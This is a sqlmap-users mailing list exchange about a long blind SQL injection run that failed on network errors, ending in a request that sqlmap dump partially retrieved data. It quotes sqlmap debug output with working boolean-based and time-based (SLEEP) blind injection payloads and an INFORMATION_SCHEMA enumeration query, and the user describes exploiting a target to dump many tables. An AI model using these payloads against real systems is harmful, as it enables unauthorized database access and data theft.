IMO, problem with immediate table dump after a timeout could be that the
average user would falsely think that everything went ok.
I would really suggest you to find out why all of a sudden the are
timeouts.
Bye
On Jul 15, 2014 12:42 PM, "Dirk Wetter" <s...@drwetter.org> wrote:
> Hi Miroslav,
>
> Am 07/14/2014 08:56 PM, schrieb Miroslav Stampar:
>
> Hi Dirk.
>
> sqlmap doesn't retrieve already retrieved data. It stores them into the
> local session data for later (re)usage.
>
>
> I thought so too. But when for some reason the network times out or any
> other special circumstances occur
> it would be great if sqlmap would just dump immediately what it retrieved
> so far. I started it again afterwards,
> hoping after ^C it would dump the whole data then but it dumped 1-2 lines
> only.
>
>
> "boolean-based blind vulnerability and I tried to retrieve a few tables
> with big chunks of data" -> I would expect your problem in union SQLI, but
> not boolean-based blind.
>
>
> nope, definitely it's a boolean based blind and at the same time (same
> variable) a time-based blind vulnerability I am exploiting.
> During this run I left sqlmap the choice which one to exploit. Previously
> I thought I restricted it to use
> --technique=B .
>
>
> Please make sure that:
> 1) you are running the latest revision from our Github repository
>
>
> check (ok, from last week)
>
> 2) that target is not having some kind of WAF protection mechanism that
> does the hard drop of requests
>
>
> check (definitely network issue). But I didn't run wireshark or so, so I
> can't tell whether a TCP RST was sent
> from a party in between.
>
>
> As said, I don't see a reason why would sqlmap fail here. It would be
> great if you could isolate "problematic" payload with usage of -v 3 and try
> it inside the browser (to see what's happening)
>
>
> Miroslav, I can only report what I observed :-) Data retrieval on this
> special table was running for ~3 days.
> I retrieved numerous other tables the week before (exactly the same
> vulnerability) and I am really certain the
> original cause of the hiccup was just a network outage.
>
> The last famous words before bail out were:
>
> [09:54:15] [INFO] retrieving the length of query output
> [09:54:15] [PAYLOAD] 2885) AND ORD(MID((SELECT
> IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY
> id LIMIT 21,1),1,1))>51 AND (7548=7548
> [09:54:15] [PAYLOAD] 2885) AND ORD(MID((SELECT
> IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY
> id LIMIT 21,1),1,1))>48 AND (7548=7548
> [09:54:15] [PAYLOAD] 2885) AND ORD(MID((SELECT
> IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id
> LIMIT 21,1),1,1))>1 AND (7548=7548
> [09:54:16] [PAYLOAD] 2885) AND ORD(MID((SELECT
> IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY
> id LIMIT 21,1),1,1))>47 AND (7548=7548
> [09:54:16] [PAYLOAD] 2885) AND ORD(MID((SELECT
> IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY id
> LIMIT 21,1),2,1))>51 AND (7548=7548
> [09:54:16] [PAYLOAD] 2885) AND ORD(MID((SELECT
> IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY
> id LIMIT 21,1),2,1))>48 AND (7548=7548
> [09:54:17] [PAYLOAD] 2885) AND ORD(MID((SELECT
> IFNULL(CAST(CHAR_LENGTH(<row>) AS CHAR),0x20) FROM <db>.<table> ORDER BY
> id LIMIT 21,1),2,1))>1 AND (7548=7548
> [09:54:17] [INFO] retrieved: 0
> [09:54:17] [DEBUG] performed 7 queries in 2.11 seconds
> [09:54:17] [DEBUG] performed 0 queries in 2.12 seconds
> [09:54:17] [PAYLOAD] 2885) AND 6853=IF((ORD(MID((SELECT IFNULL(CAST(<row>
> AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT
> 21,1),1,1))>64),SLEEP(5),6853) AND (5650=5650
> [09:54:19] [PAYLOAD] 2885) AND 6853=IF((ORD(MID((SELECT IFNULL(CAST(<row>
> AS CHAR),0x20) FROM <db>.<table> ORDER BY id LIMIT
> 21,1),1,1))>32),SLEEP(5),6853) AND (5650=5650
> [09:54:19] [CRITICAL] unable to connect to the target URL or proxy. sqlmap
> is going to retry the request
> [09:54:20] [CRITICAL] unable to connect to the target URL or proxy. sqlmap
> is going to retry the request
> [09:54:21] [CRITICAL] unable to connect to the target URL or proxy. sqlmap
> is going to retry the request
> [09:54:22] [INFO] fetching columns for table <table> in database <db>
> [09:54:22] [PAYLOAD] 2885) AND ORD(MID((SELECT
> IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM
> INFORMATION_SCHEMA.COLUMNS WHERE table_name=<hexstr1> AND
> table_schema=<hexstr2>),1,1))>51 AND (1291=1291
> [09:54:22] [CRITICAL] unable to connect to the target URL or proxy. sqlmap
> is going to retry the request
> [09:54:23] [CRITICAL] unable to connect to the target URL or proxy. sqlmap
> is going to retry the request
> [09:54:24] [CRITICAL] unable to connect to the target URL or proxy. sqlmap
> is going to retry the request
> [09:54:25] [CRITICAL] unable to connect to the target URL or proxy
> [09:54:25] [WARNING] HTTP error codes detected during run:
>
> 500 (Internal Server Error) - 36 times, 503 (Service Unavailable) - 2 times
>
> [*] shutting down at 09:54:25
>
>
> I won't be able to reproduce it, sorry. ;-/ My point is a feature request:
> if an error condition occurs, sqlmap
> should better dump immediately the data it already retrieved, in csv
> format.
>
>
> Cheers,
>
> Dirk
>
> PS: I didn't modify any timeout or retry values, so normally I would
> expect sqlmap at least 3x30 seconds before bail out, correct?
>
>
>
------------------------------------------------------------------------------
Want fast and easy access to all the code in your enterprise? Index and
search up to 200,000 lines of code with a free copy of Black Duck
Code Sight - the same software that powers the world's largest code
search on Ohloh, the Black Duck Open Hub! Try it now.
http://p.sf.net/sfu/bds
_______________________________________________
sqlmap-users mailing list
sqlmap-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/sqlmap-users
